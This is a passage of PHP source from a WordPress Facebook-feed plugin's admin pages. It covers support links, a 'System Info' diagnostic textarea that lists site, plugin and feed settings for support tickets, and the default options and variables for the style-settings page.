target="_blank">YouTube</a>.', 'custom-facebook-feed' ); ?></p> <div class="cff-share-plugin"> <h3><?php _e('Like the plugin? Help spread the word!', 'custom-facebook-feed'); ?></h3> <button id="cff-admin-show-share-links" class="button secondary" style="margin-bottom: 1px;"><i class="fa fa-share-alt" aria-hidden="true"></i> Share the plugin</button> <div id="cff-admin-share-links"></div> </div> <?php } //End config tab ?> <?php if( $cff_active_tab == 'support' ) { //Start Support tab ?> <div class="cff_support"> <br /> <h3 style="padding-bottom: 10px;">Need help?</h3> <p> <span class="cff-support-title"><i class="fa fa-life-ring" aria-hidden="true"></i> <a href="https://smashballoon.com/custom-facebook-feed/docs/free/?utm_campaign=facebook-free&utm_source=support&utm_medium=setup" target="_blank"><?php _e('Setup Directions'); ?></a></span> <?php _e('A step-by-step guide on how to setup and use the plugin.'); ?> </p> <p> <span class="cff-support-title"><i class="fa fa-question-circle" aria-hidden="true"></i> <a href="https://smashballoon.com/custom-facebook-feed/faq/?utm_campaign=facebook-free&utm_source=support&utm_medium=faqs" target="_blank"><?php _e('FAQs and Docs'); ?></a></span> <?php _e('View our expansive library of FAQs and documentation to help solve your problem as quickly as possible.'); ?> </p> <div class="cff-support-faqs"> <ul class="cff-faq-col-1"> <li><b>FAQs</b></li> <li>• <?php _e('<a href="https://smashballoon.com/category/custom-facebook-feed/faq/?utm_campaign=facebook-free&utm_source=support&utm_medium=general" target="_blank">General Questions</a>'); ?></li> <li>• <?php _e('<a href="https://smashballoon.com/category/custom-facebook-feed/getting-started/?utm_campaign=facebook-free&utm_source=support&utm_medium=setup" target="_blank">Getting Started</a>'); ?></li> <li>• <?php _e('<a href="https://smashballoon.com/category/custom-facebook-feed/troubleshooting/?utm_campaign=facebook-free&utm_source=support&utm_medium=issues" target="_blank">Common Issues</a>'); ?></li> <li style="margin-top: 8px; font-size: 12px;"><a href="https://smashballoon.com/custom-facebook-feed/faq/?utm_campaign=facebook-free&utm_source=support&utm_medium=faqs" target="_blank">See all<i class="fa fa-chevron-right" aria-hidden="true"></i></a></li> </ul> <ul> <li><b>Documentation</b></li> <li>• <?php _e('<a href="http://smashballoon.com/custom-facebook-feed/docs/free/?utm_campaign=facebook-free&utm_source=support&utm_medium=setup" target="_blank">Installation and Configuration</a>'); ?></li> <li>• <?php _e('<a href="https://smashballoon.com/custom-facebook-feed/docs/shortcodes/?utm_campaign=facebook-free&utm_source=support&utm_medium=shortcode" target="_blank">Shortcode Reference</a>', 'custom-facebook-feed'); ?></li> <li>• <?php _e('<a href="https://smashballoon.com/snippets/?utm_campaign=facebook-free&utm_source=support&utm_medium=snippets" target="_blank">Custom CSS and JavaScript Snippets</a>'); ?></li> <li style="margin-top: 8px; font-size: 12px;"><a href="https://smashballoon.com/custom-facebook-feed/docs/?utm_campaign=facebook-free&utm_source=support&utm_medium=docs" target="_blank">See all<i class="fa fa-chevron-right" aria-hidden="true"></i></a></li> </ul> </div> <p> <span class="cff-support-title"><i class="fa fa-envelope" aria-hidden="true"></i> <a href="http://smashballoon.com/custom-facebook-feed/support/?utm_campaign=facebook-free&utm_source=support&utm_medium=support" target="_blank"><?php _e('Request Support'); ?></a></span> <?php _e('Still need help? Submit a ticket and one of our support experts will get back to you as soon as possible.<br /><b>Important:</b> Please include your <b>System Info</b> below with all support requests.'); ?> </p> </div> <hr /> <h3><?php _e('System Info <i style="color: #666; font-size: 11px; font-weight: normal;">Click the text below to select all</i>', 'custom-facebook-feed'); ?></h3> <?php $cff_use_own_token = get_option( 'cff_show_access_token' ); $access_token = get_option( $access_token ); $posts_json = cff_fetchUrl("https://graph.facebook.com/".get_option( trim($page_id) )."/feed?access_token=". trim($access_token) ."&limit=1"); ?> <textarea readonly="readonly" onclick="this.focus();this.select()" title="To copy, click the field then press Ctrl + C (PC) or Cmd + C (Mac)." style="width: 70%; height: 500px; white-space: pre; font-family: Menlo,Monaco,monospace;"> ## SITE/SERVER INFO: ## Site URL: <?php echo site_url() . "\n"; ?> Home URL: <?php echo home_url() . "\n"; ?> WordPress Version: <?php echo get_bloginfo( 'version' ) . "\n"; ?> PHP Version: <?php echo PHP_VERSION . "\n"; ?> Web Server Info: <?php echo $_SERVER['SERVER_SOFTWARE'] . "\n"; ?> PHP allow_url_fopen: <?php echo ini_get( 'allow_url_fopen' ) ? "Yes" . "\n" : "No" . "\n"; ?> PHP cURL: <?php echo is_callable('curl_init') ? "Yes" . "\n" : "No" . "\n"; ?> JSON: <?php echo function_exists("json_decode") ? "Yes" . "\n" : "No" . "\n" ?> SSL Stream: <?php echo in_array('https', stream_get_wrappers()) ? "Yes" . "\n" : "No" . "\n" ?> ## ACTIVE PLUGINS: ## <?php $plugins = get_plugins(); $active_plugins = get_option( 'active_plugins', array() ); foreach ( $plugins as $plugin_path => $plugin ) { // If the plugin isn't active, don't show it. if ( ! in_array( $plugin_path, $active_plugins ) ) continue; echo $plugin['Name'] . ': ' . $plugin['Version'] ."\n"; } ?> ## PLUGIN SETTINGS: ## Access Token: <?php echo chunk_split( get_option( 'cff_access_token' ), 110 ); ?> Page ID: <?php echo get_option( 'cff_page_id' ) ."\n"; ?> Number of Posts: <?php echo get_option( 'cff_num_show' ) ."\n"; ?> Post Limit: <?php echo get_option( 'cff_post_limit' ) ."\n"; ?> Show Posts by: <?php echo get_option( 'cff_show_others' ) ."\n"; ?> Cache Time: <?php echo get_option( 'cff_cache_time' ) ." ".get_option( 'cff_cache_time_unit' )."\n"; ?> Locale: <?php echo get_option( 'cff_locale' ) ."\n"; ?> Timezone: <?php $options = get_option( 'cff_style_settings', array() ); echo $options[ 'cff_timezone' ] ."\n"; ?> <?php if( isset( $options[ 'cff_feed_width' ] ) ) { ?> ## CUSTOMIZE ## Feed Width => <?php echo $options[ 'cff_feed_width' ] ."\n"; ?> Responsive => <?php echo $options[ 'cff_feed_width_resp' ] ."\n"; ?> Feed Height => <?php echo $options[ 'cff_feed_height' ] ."\n"; ?> Feed Padding => <?php echo $options[ 'cff_feed_padding' ] ."\n"; ?> Feed BG Color => <?php echo $options[ 'cff_bg_color' ] ."\n"; ?> CSS Class => <?php echo $options[ 'cff_class' ] ."\n"; ?> Feed Columns => <?php echo $options['cff_cols'] ."\n"; ?> Mobile Columns => <?php echo $options['cff_cols_mobile'] ."\n"; ?> ## HEADER: ## Show Header => <?php echo $options[ 'cff_show_header' ] ."\n"; ?> Header Type => <?php echo $options[ 'cff_header_type' ] ."\n"; ?> Header Cover => <?php echo $options[ 'cff_header_cover' ] ."\n"; ?> Header Name => <?php echo $options[ 'cff_header_name' ] ."\n"; ?> Header Bio => <?php echo $options[ 'cff_header_bio' ] ."\n"; ?> Header Cover Height => <?php echo $options[ 'cff_header_cover_height' ] ."\n"; ?> Text => <?php echo $options[ 'cff_header_text' ] ."\n"; ?> Header Outside => <?php echo $options[ 'cff_header_outside' ] ."\n"; ?> Background Color => <?php echo $options[ 'cff_header_bg_color' ] ."\n"; ?> Padding => <?php echo $options[ 'cff_header_padding' ] ."\n"; ?> Text Size => <?php echo $options[ 'cff_header_text_size' ] ."\n"; ?> Text Weight => <?php echo $options[ 'cff_header_text_weight' ] ."\n"; ?> Text Color => <?php echo $options[ 'cff_header_text_color' ] ."\n"; ?> Icon => <?php echo $options[ 'cff_header_icon' ] ."\n"; ?> Icon Color => <?php echo $options[ 'cff_header_icon_color' ] ."\n"; ?> Icon Size => <?php echo $options[ 'cff_header_icon_size' ] ."\n"; ?> ## LIKE BOX: ## Position => <?php echo $options[ 'cff_like_box_position' ] ."\n"; ?> Display Outside => <?php echo $options[ 'cff_like_box_outside' ] ."\n"; ?> Show Fans => <?php echo $options[ 'cff_like_box_faces' ] ."\n"; ?> Cover Photo => <?php echo $options[ 'cff_like_box_cover' ] ."\n"; ?> Small Header => <?php echo $options[ 'cff_like_box_small_header' ] ."\n"; ?> Hide CTA => <?php echo $options[ 'cff_like_box_hide_cta' ] ."\n"; ?> Custom Width => <?php echo $options[ 'cff_likebox_width' ] ."\n"; ?> ## SHOW/HIDE: ## Show => <?php if( $options[ 'cff_show_author' ] ) echo 'Author, '; if( $options[ 'cff_show_text' ] ) echo 'Post Text, '; if( $options[ 'cff_show_desc' ] ) echo 'Description, '; if( $options[ 'cff_show_shared_links' ] ) echo 'Shared Links, '; if( $options[ 'cff_show_date' ] ) echo 'Date, '; if( $options[ 'cff_show_media' ] ) echo 'Photos/Videos, '; if( $options[ 'cff_show_event_title' ] ) echo 'Event Title, '; if( $options[ 'cff_show_event_details' ] ) echo 'Event Details, '; if( $options[ 'cff_show_meta' ] ) echo 'Comments Box, '; if( $options[ 'cff_show_link' ] ) echo 'Post Link'; echo "\n"; ?> Hide => <?php if( !$options[ 'cff_show_author' ] ) echo 'Author, '; if( !$options[ 'cff_show_text' ] ) echo 'Post Text, '; if( !$options[ 'cff_show_desc' ] ) echo 'Description, '; if( !$options[ 'cff_show_shared_links' ] ) echo 'Shared Links, '; if( !$options[ 'cff_show_date' ] ) echo 'Date, '; if( !$options[ 'cff_show_media' ] ) echo 'Photos/Videos, '; if( !$options[ 'cff_show_event_title' ] ) echo 'Event Title, '; if( !$options[ 'cff_show_event_details' ] ) echo 'Event Details, '; if( !$options[ 'cff_show_meta' ] ) echo 'Comments Box, '; if( !$options[ 'cff_show_link' ] ) echo 'Post Link'; echo "\n"; ?> ## STYLE POSTS: ## Post Style => <?php echo $options[ 'cff_post_style' ] ."\n"; ?> Background Color => <?php echo $options[ 'cff_post_bg_color' ] ."\n"; ?> Rounded => <?php echo $options[ 'cff_post_rounded' ] ."\n"; ?> Seperator Color => <?php echo $options[ 'cff_sep_color' ] ."\n"; ?> Seperator Size => <?php echo $options[ 'cff_sep_size' ] ."\n"; ?> Box Shadow => <?php echo $options[ 'cff_box_shadow' ] ."\n"; ?> ## POST AUTHOR: ## Text Size => <?php echo $options[ 'cff_author_size' ] ."\n"; ?> Text Color => <?php echo $options[ 'cff_author_color' ] ."\n"; ?> ## POST TEXT: ## Text Length => <?php echo get_option('cff_title_length') ."\n"; ?> Format => <?php echo $options['cff_title_format'] ."\n"; ?> Text Size => <?php echo $options['cff_title_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_title_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_title_color'] ."\n"; ?> Link Color => <?php echo $options['cff_link_color'] ."\n"; ?> Link Text To Facebook => <?php echo $options['cff_link_to_timeline'] ."\n"; ?> Link Post Tags => <?php echo $options['cff_post_tags'] ."\n"; ?> Link Hashags => <?php echo $options['cff_link_hashtags'] ."\n"; ?> ## SHARED POST DESCRIPTION: ## Text Size => <?php echo $options['cff_body_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_body_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_body_color'] ."\n"; ?> ## POST DATE: ## Position => <?php echo $options['cff_date_position'] ."\n"; ?> Text Size => <?php echo $options['cff_date_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_date_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_date_color'] ."\n"; ?> Date Formatting => <?php echo $options['cff_date_formatting'] ."\n"; ?> Timezone => <?php echo $options['cff_timezone'] ."\n"; ?> Custom Format => <?php echo $options['cff_date_custom'] ."\n"; ?> Text Before Date => <?php echo $options['cff_date_before'] ."\n"; ?> Text After Date => <?php echo $options['cff_date_after'] ."\n"; ?> ## SHARED LINK BOXES: ## Link Box BG Color => <?php echo $options['cff_link_bg_color'] ."\n"; ?> Link Box Border Color => <?php echo $options['cff_link_border_color'] ."\n"; ?> Remove Background/Border => <?php echo $options['cff_disable_link_box'] ."\n"; ?> Link Title Format => <?php echo $options['cff_link_title_format'] ."\n"; ?> Link Title Color => <?php echo $options['cff_link_title_color'] ."\n"; ?> Link Title Size => <?php echo $options['cff_link_title_size'] ."\n"; ?> Link URL Size => <?php echo $options['cff_link_url_size'] ."\n"; ?> Link URL Color => <?php echo $options['cff_link_url_color'] ."\n"; ?> Link Description Size => <?php echo $options['cff_link_desc_size'] ."\n"; ?> Link Description Color => <?php echo $options['cff_link_desc_color'] ."\n"; ?> Max Length => <?php echo get_option('cff_body_length') ."\n"; ?> ## EVENT TITLE: ## Format => <?php echo $options['cff_event_title_format'] ."\n"; ?> Text Size => <?php echo $options['cff_event_title_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_event_title_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_event_title_color'] ."\n"; ?> Link To Facebook => <?php echo $options['cff_event_title_link'] ."\n"; ?> ## EVENT DATE: ## Text Size => <?php echo $options['cff_event_date_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_event_date_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_event_date_color'] ."\n"; ?> Date Position => <?php echo $options['cff_event_date_position'] ."\n"; ?> Date Formatting => <?php echo $options['cff_event_date_formatting'] ."\n"; ?> Custom Format => <?php echo $options['cff_event_date_custom'] ."\n"; ?> ## EVENT DETAILS: ## Text Size => <?php echo $options['cff_event_details_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_event_details_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_event_details_color'] ."\n"; ?> Link Color => <?php echo $options['cff_event_link_color'] ."\n"; ?> ## POST ACTION LINKS: ## Text Size => <?php echo $options['cff_link_size'] ."\n"; ?> Text Weight => <?php echo $options['cff_link_weight'] ."\n"; ?> Text Color => <?php echo $options['cff_link_color'] ."\n"; ?> View on Facebook Text => <?php echo $options['cff_facebook_link_text'] ."\n"; ?> Share Text => <?php echo $options['cff_facebook_share_text'] ."\n"; ?> Show View on Facebook Text => <?php echo $options['cff_show_facebook_link'] ."\n"; ?> Show Share Text => <?php echo $options['cff_show_facebook_share'] ."\n"; ?> ## CUSTOM CSS/JS: ## Custom CSS => <?php echo $options['cff_custom_css'] ."\n"; ?> Custom JavaScript => <?php echo $options['cff_custom_js'] ."\n"; ?> ## MISC SETTINGS: ## Loading via AJAX => <?php echo get_option('cff_ajax') ."\n"; ?> Preserve Settings => <?php echo get_option('cff_preserve_settings') ."\n"; ?> Credit Link => <?php echo $options['cff_show_credit'] ."\n"; ?> Minify CSS/JS => <?php echo $options['cff_minify'] ."\n"; ?> Restricted Page => <?php echo $options['cff_restricted_page'] ."\n"; ?> Icon Font Source Method => <?php echo $options['cff_font_source'] ."\n"; ?> Force Cache To Clear => <?php echo $options['cff_cron'] ."\n"; ?> Request Method => <?php echo $options['cff_request_method'] ."\n"; ?> Fix Text Shortening => <?php echo $options['cff_format_issue'] ."\n"; ?> Disable Default Styles => <?php echo $options['cff_disable_styles'] ."\n"; ?> Disable Frontend Error Notice => <?php if ( isset( $options['disable_admin_notice'] ) ) echo $options['disable_admin_notice']; echo "\n"; ?> Enable Email => <?php if ( isset( $options['enable_email_report'] ) ) echo $options['enable_email_report']; echo "\n" ?> Email Addresses => <?php if ( isset( $options['enable_email_report'] ) ) echo $options['email_notification_addresses']; echo "\n"; ?> ## CUSTOM TEXT/TRANSLATE: ## Modified text strings: <?php if($options['cff_see_more_text'] != 'See More'){ ?>See More => <?php echo $options['cff_see_more_text'] ."\n"; ?><?php } ?> <?php if($options['cff_see_less_text'] != 'See Less'){ ?>See Less => <?php echo $options['cff_see_less_text'] ."\n"; ?><?php } ?> <?php if($options['cff_facebook_link_text'] != 'View on Facebook'){ ?>View on Facebook => <?php echo $options['cff_facebook_link_text'] ."\n"; ?><?php } ?> <?php if($options['cff_facebook_share_text'] != 'Share'){ ?>Share => <?php echo $options['cff_facebook_share_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_photos_text'] != 'photos'){ ?>Photos => <?php echo $options['cff_translate_photos_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_photo_text'] != 'Photo'){ ?>Photo => <?php echo $options['cff_translate_photo_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_video_text'] != 'Video'){ ?>Video => <?php echo $options['cff_translate_video_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_learn_more_text'] != 'Learn More'){ ?>Learn More => <?php echo $options['cff_translate_learn_more_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_shop_now_text'] != 'Shop Now'){ ?>Shop Now => <?php echo $options['cff_translate_shop_now_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_message_page_text'] != 'Message Page'){ ?>Message Page => <?php echo $options['cff_translate_message_page_text'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_second'] != 'second'){ ?>Second => <?php echo $options['cff_translate_second'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_seconds'] != 'seconds'){ ?>Seconds => <?php echo $options['cff_translate_seconds'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_minute'] != 'minute'){ ?>Minute => <?php echo $options['cff_translate_minute'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_minutes'] != 'minutes'){ ?>Minutes => <?php echo $options['cff_translate_minutes'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_hour'] != 'hour'){ ?>Hour => <?php echo $options['cff_translate_hour'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_hours'] != 'hours'){ ?>Hours => <?php echo $options['cff_translate_hours'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_day'] != 'day'){ ?>Day => <?php echo $options['cff_translate_day'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_days'] != 'days'){ ?>Days => <?php echo $options['cff_translate_days'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_week'] != 'week'){ ?>Week => <?php echo $options['cff_translate_week'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_weeks'] != 'weeks'){ ?>Weeks => <?php echo $options['cff_translate_weeks'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_month'] != 'month'){ ?>Month => <?php echo $options['cff_translate_month'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_months'] != 'months'){ ?>Months => <?php echo $options['cff_translate_months'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_year'] != 'year'){ ?>Year => <?php echo $options['cff_translate_year'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_years'] != 'years'){ ?>Years => <?php echo $options['cff_translate_years'] ."\n"; ?><?php } ?> <?php if($options['cff_translate_ago'] != 'ago'){ ?>Ago => <?php echo $options['cff_translate_ago'] ."\n"; ?><?php } ?> <?php } else { echo "\n"."## CUSTOMIZE ##"."\n"; echo '-----------------------------'."\n"; echo "Customize Settings not saved."."\n"; echo '-----------------------------'."\n"; } ?> ## FACEBOOK API RESPONSE: ## <?php $api_response_json = json_decode($posts_json); if( isset( $api_response_json->error ) ) echo $posts_json; if( isset( $api_response_json->data ) ){ $posts_json_split = explode(',"paging":{', $posts_json); echo $posts_json_split[0]; } ?> ## CRON EVENTS: ## <?php $cron = _get_cron_array(); foreach ( $cron as $key => $data ) { $is_target = false; foreach ( $data as $key2 => $val ) { if ( strpos( $key2, 'cff' ) !== false ) { $is_target = true; echo $key2; echo "\n"; } } if ( $is_target) { echo date( "Y-m-d H:i:s", $key ); echo "\n"; echo 'Next Scheduled: ' . ((int)$key - time())/60 . ' minutes'; echo "\n\n"; } } ?> ## Error Log: ## <?php global $cff_error_reporter; $errors = $cff_error_reporter->get_errors(); if ( ! empty( $errors ) ) : foreach ( $errors as $error ) : echo $error['admin_message']."\n"; echo 'Feed with error: ' . esc_url( get_the_permalink( $error['post_id'] ) )."\n"; endforeach; endif; ?> </textarea> <?php } ?> <?php } //End Settings_Page //Create Style page function cff_style_page() { //Declare variables for fields $style_hidden_field_name = 'cff_style_submit_hidden'; $style_general_hidden_field_name = 'cff_style_general_submit_hidden'; $style_post_layout_hidden_field_name = 'cff_style_post_layout_submit_hidden'; $style_typography_hidden_field_name = 'cff_style_typography_submit_hidden'; $style_misc_hidden_field_name = 'cff_style_misc_submit_hidden'; $style_custom_text_hidden_field_name = 'cff_style_custom_text_submit_hidden'; //Defaults need to be here on the Settings page so that they're saved when the initial settings are saved $defaults = array( //Post types 'cff_show_links_type' => true, 'cff_show_event_type' => true, 'cff_show_video_type' => true, 'cff_show_photos_type' => true, 'cff_show_status_type' => true, //Layout 'cff_preset_layout' => 'thumb', //Include 'cff_show_text' => true, 'cff_show_desc' => true, 'cff_show_shared_links' => true, 'cff_show_date' => true, 'cff_show_media' => true, 'cff_show_media_link' => true, 'cff_show_event_title' => true, 'cff_show_event_details' => true, 'cff_show_meta' => true, 'cff_show_link' => true, 'cff_show_like_box' => true, //Post Style 'cff_post_style' => '', 'cff_post_bg_color' => '', 'cff_post_rounded' => '0', 'cff_box_shadow' => false, //Typography 'cff_title_format' => 'p', 'cff_title_size' => 'inherit', 'cff_title_weight' => 'inherit', 'cff_title_color' => '', 'cff_posttext_link_color' => '', 'cff_body_size' => '12', 'cff_body_weight' => 'inherit', 'cff_body_color' => '', 'cff_link_title_format' => 'p', 'cff_link_title_size' => 'inherit', 'cff_link_url_size' => '12', 'cff_link_desc_size' => 'inherit', 'cff_link_desc_color' => '', 'cff_link_title_color' => '', 'cff_link_url_color' => '', 'cff_link_bg_color' => '', 'cff_link_border_color' => '', 'cff_disable_link_box' => '', //Event title 'cff_event_title_format' => 'p', 'cff_event_title_size' => 'inherit', 'cff_event_title_weight' => 'inherit', 'cff_event_title_color' => '', //Event date 'cff_event_date_size' => 'inherit', 'cff_event_date_weight' => 'inherit', 'cff_event_date_color' => '', 'cff_event_date_position' => 'below', 'cff_event_date_formatting' => '1', 'cff_event_date_custom' => '', //Event details 'cff_event_details_size' => 'inherit', 'cff_event_details_weight' => 'inherit', 'cff_event_details_color' => '', 'cff_event_link_color' => '', //Date 'cff_date_position' => 'author', 'cff_date_size' => 'inherit', 'cff_date_weight' => 'inherit', 'cff_date_color' => '', 'cff_date_formatting' => '1', 'cff_date_custom' => '', 'cff_date_before' => '', 'cff_date_after' => '', 'cff_timezone' => 'America/Chicago', //Link to Facebook 'cff_link_size' => 'inherit', 'cff_link_weight' => 'inherit', 'cff_link_color' => '', 'cff_facebook_link_text' => 'View on Facebook', 'cff_view_link_text' => 'View Link', 'cff_link_to_timeline' => false, //Meta 'cff_icon_style' => 'light', 'cff_meta_text_color' => '', 'cff_meta_bg_color' => '', 'cff_nocomments_text' => 'No comments yet', 'cff_hide_comments' => '', //Misc 'cff_feed_width' => '100%', 'cff_feed_width_resp' => false, 'cff_feed_height' => '', 'cff_feed_padding' => '', 'cff_like_box_position' => 'bottom', 'cff_like_box_outside' => false, 'cff_likebox_width' => '', 'cff_likebox_height' => '', 'cff_like_box_faces' => false, 'cff_like_box_border' => false, 'cff_like_box_cover' => true, 'cff_like_box_small_header' => false, 'cff_like_box_hide_cta' => false, 'cff_bg_color' => '', 'cff_likebox_bg_color' => '', 'cff_like_box_text_color' => 'blue', 'cff_video_height' => '', 'cff_show_author' => true, 'cff_class' => '', 'cff_open_links' => true, 'cff_cron' => 'unset', 'cff_request_method' => 'auto', 'cff_disable_styles' => false, 'cff_format_issue' => false, 'cff_restricted_page' => false, 'cff_cols' => 1, 'cff_cols_mobile' => 1, //New 'cff_custom_css' => '', 'cff_custom_js' => '', 'cff_title_link' => false, 'cff_post_tags' => true, 'cff_link_hashtags' => true, 'cff_event_title_link' => true, 'cff_video_action' => 'post', 'cff_app_id' => '', 'cff_show_credit' => '', 'cff_font_source' => '', 'cff_minify' => false, 'disable_admin_notice' => false, 'cff_sep_color' => '', 'cff_sep_size' => '1', //Feed Header 'cff_show_header' => '', 'cff_header_type' => '', 'cff_header_cover' => true, 'cff_header_name' => true, 'cff_header_bio' => true, 'cff_header_outside' => false, 'cff_header_cover_height' => '300', 'cff_header_text' => 'Facebook Posts', 'cff_header_bg_color' => '', 'cff_header_padding' => '', 'cff_header_text_size' => '', 'cff_header_text_weight' => '', 'cff_header_text_color' => '', 'cff_header_icon' => '', 'cff_header_icon_color' => '', 'cff_header_icon_size' => '28', //Author 'cff_author_size' => 'inherit', 'cff_author_color' => '', //Translate - general 'cff_see_more_text' => 'See More', 'cff_see_less_text' => 'See Less', 'cff_facebook_link_text' => 'View on Facebook', 'cff_facebook_share_text' => 'Share', 'cff_show_facebook_link' => true, 'cff_show_facebook_share' => true, 'cff_translate_photos_text' => 'photos', 'cff_translate_photo_text' => 'Photo', 'cff_translate_video_text' => 'Video', 'cff_translate_learn_more_text' => 'Learn More', 'cff_translate_shop_now_text' => 'Shop Now', 'cff_translate_message_page_text' => 'Message Page', //Translate - date 'cff_translate_second' => 'second', 'cff_translate_seconds' => 'seconds', 'cff_translate_minute' => 'minute', 'cff_translate_minutes' => 'minutes', 'cff_translate_hour' => 'hour', 'cff_translate_hours' => 'hours', 'cff_translate_day' => 'day', 'cff_translate_days' => 'days', 'cff_translate_week' => 'week', 'cff_translate_weeks' => 'weeks', 'cff_translate_month' => 'month', 'cff_translate_months' => 'months', 'cff_translate_year' => 'year', 'cff_translate_years' => 'years', 'cff_translate_ago' => 'ago', // email 'enable_email_report' => 'on', 'email_notification' => 'monday', 'email_notification_addresses' => get_option( 'admin_email' ) ); //Save layout option in an array $options = wp_parse_args(get_option('cff_style_settings'), $defaults); add_option( 'cff_style_settings', $options ); //Set the page variables //Post types $cff_show_links_type = $options[ 'cff_show_links_type' ]; $cff_show_event_type = $options[ 'cff_show_event_type' ]; $cff_show_video_type = $options[ 'cff_show_video_type' ]; $cff_show_photos_type = $options[ 'cff_show_photos_type' ]; $cff_show_status_type = $options[ 'cff_show_status_type' ]; //Layout $cff_preset_layout = $options[ 'cff_preset_layout' ]; //Include $cff_show_text = $options[ 'cff_show_text' ]; $cff_show_desc = $options[ 'cff_show_desc' ]; $cff_show_shared_links = $options[ 'cff_show_shared_links' ]; $cff_show_date = $options[ 'cff_show_date' ]; $cff_show_media = $options[ 'cff_show_media' ]; $cff_show_media_link = $options[ 'cff_show_media_link' ]; $cff_show_event_title = $options[ 'cff_show_event_title' ]; $cff_show_event_details = $options[ 'cff_show_event_details' ]; $cff_show_meta = $options[ 'cff_show_meta' ]; $cff_show_link = $options[ 'cff_show_link' ]; $cff_show_like_box = $options[ 'cff_show_like_box' ]; //Post Style $cff_post_style = $options[ 'cff_post_style' ]; $cff_post_bg_color = $options[ 'cff_post_bg_color' ]; $cff_post_rounded = $options[ 'cff_post_rounded' ]; $cff_box_shadow = $options[ 'cff_box_shadow' ]; //Typography $cff_see_more_text = $options[ 'cff_see_more_text' ]; $cff_see_less_text = $options[ 'cff_see_less_text' ]; $cff_title_format = $options[ 'cff_title_format' ]; $cff_title_size = $options[ 'cff_title_size' ]; $cff_title_weight = $options[ 'cff_title_weight' ]; $cff_title_color = $options[ 'cff_title_color' ]; $cff_posttext_link_color = $options[ 'cff_posttext_link_color' ]; $cff_body_size = $options[ 'cff_body_size' ]; $cff_body_weight = $options[ 'cff_body_weight' ]; $cff_body_color = $options[ 'cff_body_color' ]; $cff_link_title_format = $options[ 'cff_link_title_format' ]; $cff_link_title_size = $options[ 'cff_link_title_size' ]; $cff_link_url_size = $options[ 'cff_link_url_size' ]; $cff_link_desc_size = $options[ 'cff_link_desc_size' ]; $cff_link_desc_color = $options[ 'cff_link_desc_color' ]; $cff_link_title_color = $options[ 'cff_link_title_color' ]; $cff_link_url_color = $options[ 'cff_link_url_color' ]; $cff_link_bg_color = $options[ 'cff_link_bg_color' ]; $cff_link_border_color = $options[ 'cff_link_border_color' ]; $cff_disable_link_box = $options[ 'cff_disable_link_box' ]; //Event title $cff_event_title_format = $options[ 'cff_event_title_format' ]; $cff_event_title_size = $options[ 'cff_event_title_size' ]; $cff_event_title_weight = $options[ 'cff_event_title_weight' ]; $cff_event_title_color = $options[ 'cff_event_title_color' ]; //Event date $cff_event_date_size = $options[ 'cff_event_date_size' ]; $cff_event_date_weight = $options[ 'cff_event_date_weight' ]; $cff_event_date_color = $options[ 'cff_event_date_color' ]; $cff_event_date_position = $options[ 'cff_event_date_position' ]; $cff_event_date_formatting = $options[ 'cff_event_date_formatting' ]; $cff_event_date_custom = $options[ 'cff_event_date_custom' ]; //Event details $cff_event_details_size = $options[ 'cff_event_details_size' ]; $cff_event_details_weight = $options[ 'cff_event_details_weight' ]; $cff_event_details_color = $options[ 'cff_event_details_color' ]; $cff_event_link_color = $options[ 'cff_event_link_color' ]; //Date $cff_date_position = $options[ 'cff_date_position' ]; $cff_date_size = $options[ 'cff_date_size' ]; $cff_date_weight = $options[ 'cff_date_weight' ]; $cff_date_color = $options[ 'cff_date_color' ]; $cff_date_formatting = $options[ 'cff_date_formatting' ]; $cff_date_custom = $options[ 'cff_date_custom' ]; $cff_date_before = $options[ 'cff_date_before' ]; $cff_date_after = $options[ 'cff_date_after' ]; $cff_timezone = $options[ 'cff_timezone' ]; //Date translate $cff_translate_second = $options[ 'cff_translate_second' ]; $cff_translate_seconds = $options[ 'cff_translate_seconds' ]; $cff_translate_minute = $options[ 'cff_translate_minute' ]; $cff_translate_minutes = $options[ 'cff_translate_minutes' ]; $cff_translate_hour = $options[ 'cff_translate_hour' ]; $cff_translate_hours = $options[ 'cff_translate_hours' ]; $cff_translate_day = $options[ 'cff_translate_day' ]; $cff_translate_days = $options[ 'cff_translate_days' ]; $cff_translate_week = $options[ 'cff_translate_week' ]; $cff_translate_weeks = $options[ 'cff_translate_weeks' ]; $cff_translate_month = $options[ 'cff_translate_month' ]; $cff_translate_months = $options[ 'cff_translate_months' ]; $cff_translate_year = $options[ 'cff_translate_year' ]; $cff_translate_years = $options[ 'cff_translate_years' ]; $cff_translate_ago = $options[ 'cff_translate_ago' ]; //Photos translate $cff_translate_photos_text = $options[ 'cff_translate_photos_text' ]; $cff_translate_photo_text = $options[ 'cff_translate_photo_text' ]; $cff_translate_video_text = $options[ 'cff_translate_video_text' ]; $cff_translate_learn_more_text = $options[ 'cff_translate_learn_more_text' ]; $cff_translate_shop_now_text = $options[ 'cff_translate_shop_now_text' ]; 